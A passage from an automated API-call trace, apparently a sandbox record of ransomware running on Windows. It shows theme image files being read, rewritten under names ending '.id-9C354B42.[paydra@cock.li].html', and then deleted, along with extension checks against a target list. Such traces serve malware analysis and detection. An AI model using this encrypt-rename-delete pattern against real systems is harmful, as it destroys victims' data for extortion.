lpNumberOfBytesRead=0x229fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0044.854] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0044.855] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.855] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.855] SetEndOfFile (hFile=0x210) returned 1 [0044.855] CloseHandle (hObject=0x210) returned 1 [0044.855] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.855] SetEndOfFile (hFile=0x21c) returned 1 [0044.856] CloseHandle (hObject=0x21c) returned 1 [0044.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0044.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.857] lstrlenW (lpString=".doc") returned 4 [0044.857] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.857] lstrlenW (lpString=".docx") returned 5 [0044.857] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.857] lstrlenW (lpString=".pdf") returned 4 [0044.857] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.857] lstrlenW (lpString=".xls") returned 4 [0044.857] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.857] lstrlenW (lpString=".xlsx") returned 5 [0044.857] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.857] lstrlenW (lpString=".ppt") returned 4 [0044.857] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.857] lstrlenW (lpString=".zip") returned 4 [0044.857] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.857] lstrlenW (lpString=".rar") returned 4 [0044.857] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.857] lstrlenW (lpString=".bz2") returned 4 [0044.857] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.857] lstrlenW (lpString=".7z") returned 3 [0044.857] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.857] lstrlenW (lpString=".dbf") returned 4 [0044.857] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".1cd") returned 4 [0044.858] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".jpg") returned 4 [0044.858] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".doc") returned 4 [0044.858] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString=".docx") returned 5 [0044.858] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.858] lstrlenW (lpString=".pdf") returned 4 [0044.858] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString=".xls") returned 4 [0044.858] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.858] lstrlenW (lpString=".xlsx") returned 5 [0044.858] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.858] lstrlenW (lpString=".ppt") returned 4 [0044.858] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".zip") returned 4 [0044.858] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.858] lstrlenW (lpString=".rar") returned 4 [0044.858] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.858] lstrlenW (lpString=".bz2") returned 4 [0044.858] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString=".7z") returned 3 [0044.858] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".dbf") returned 4 [0044.858] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.858] lstrlenW (lpString=".1cd") returned 4 [0044.859] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.859] lstrlenW (lpString=".jpg") returned 4 [0044.859] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.859] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.859] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.860] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1363) returned 1 [0044.860] CloseHandle (hObject=0x21c) returned 1 [0044.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0044.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.862] GetLastError () returned 0x0 [0044.862] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x553, lpOverlapped=0x0) returned 1 [0044.864] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x560, lpOverlapped=0x0) returned 1 [0044.865] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.865] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.865] SetEndOfFile (hFile=0x210) returned 1 [0044.865] CloseHandle (hObject=0x210) returned 1 [0044.865] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.865] SetEndOfFile (hFile=0x21c) returned 1 [0044.866] CloseHandle (hObject=0x21c) returned 1 [0044.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0044.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.866] lstrlenW (lpString=".doc") returned 4 [0044.866] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.866] lstrlenW (lpString=".docx") returned 5 [0044.866] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.866] lstrlenW (lpString=".pdf") returned 4 [0044.867] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString=".xls") returned 4 [0044.867] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString=".xlsx") returned 5 [0044.867] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.867] lstrlenW (lpString=".ppt") returned 4 [0044.867] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString=".zip") returned 4 [0044.867] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString=".rar") returned 4 [0044.867] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString=".bz2") returned 4 [0044.867] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.867] lstrlenW (lpString=".7z") returned 3 [0044.867] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString=".dbf") returned 4 [0044.867] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString=".1cd") returned 4 [0044.867] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString=".jpg") returned 4 [0044.867] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.867] lstrlenW (lpString=".doc") returned 4 [0044.867] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.867] lstrlenW (lpString=".docx") returned 5 [0044.868] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.868] lstrlenW (lpString=".pdf") returned 4 [0044.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.868] lstrlenW (lpString=".xls") returned 4 [0044.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.868] lstrlenW (lpString=".xlsx") returned 5 [0044.868] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.868] lstrlenW (lpString=".ppt") returned 4 [0044.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.868] lstrlenW (lpString=".zip") returned 4 [0044.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.868] lstrlenW (lpString=".rar") returned 4 [0044.868] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.868] lstrlenW (lpString=".bz2") returned 4 [0044.868] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.868] lstrlenW (lpString=".7z") returned 3 [0044.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.868] lstrlenW (lpString=".dbf") returned 4 [0044.868] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.868] lstrlenW (lpString=".1cd") returned 4 [0044.868] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0044.868] lstrlenW (lpString=".jpg") returned 4 [0044.868] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.869] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.869] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.869] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=20371) returned 1 [0044.869] CloseHandle (hObject=0x21c) returned 1 [0044.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0044.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.870] GetLastError () returned 0x0 [0044.870] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0044.873] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0044.874] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.874] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.874] SetEndOfFile (hFile=0x210) returned 1 [0044.874] CloseHandle (hObject=0x210) returned 1 [0044.875] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.875] SetEndOfFile (hFile=0x21c) returned 1 [0044.875] CloseHandle (hObject=0x21c) returned 1 [0044.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.876] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0044.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.876] lstrlenW (lpString=".doc") returned 4 [0044.876] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.876] lstrlenW (lpString=".docx") returned 5 [0044.876] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.876] lstrlenW (lpString=".pdf") returned 4 [0044.876] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.876] lstrlenW (lpString=".xls") returned 4 [0044.876] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.876] lstrlenW (lpString=".xlsx") returned 5 [0044.876] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.876] lstrlenW (lpString=".ppt") returned 4 [0044.876] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.876] lstrlenW (lpString=".zip") returned 4 [0044.876] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.876] lstrlenW (lpString=".rar") returned 4 [0044.876] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.877] lstrlenW (lpString=".bz2") returned 4 [0044.877] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString=".7z") returned 3 [0044.877] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString=".dbf") returned 4 [0044.877] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString=".1cd") returned 4 [0044.877] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString=".jpg") returned 4 [0044.877] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString=".doc") returned 4 [0044.877] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString=".docx") returned 5 [0044.877] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.877] lstrlenW (lpString=".pdf") returned 4 [0044.877] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.877] lstrlenW (lpString=".xls") returned 4 [0044.877] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.877] lstrlenW (lpString=".xlsx") returned 5 [0044.877] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.877] lstrlenW (lpString=".ppt") returned 4 [0044.877] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.877] lstrlenW (lpString=".zip") returned 4 [0044.877] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.877] lstrlenW (lpString=".rar") returned 4 [0044.878] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.878] lstrlenW (lpString=".bz2") returned 4 [0044.878] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.878] lstrlenW (lpString=".7z") returned 3 [0044.878] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.878] lstrlenW (lpString=".dbf") returned 4 [0044.878] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.878] lstrlenW (lpString=".1cd") returned 4 [0044.878] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0044.878] lstrlenW (lpString=".jpg") returned 4 [0044.878] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.878] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.878] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.878] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1293) returned 1 [0044.878] CloseHandle (hObject=0x21c) returned 1 [0044.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0044.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.879] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.879] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.881] GetLastError () returned 0x0 [0044.881] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x50d, lpOverlapped=0x0) returned 1 [0044.882] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, 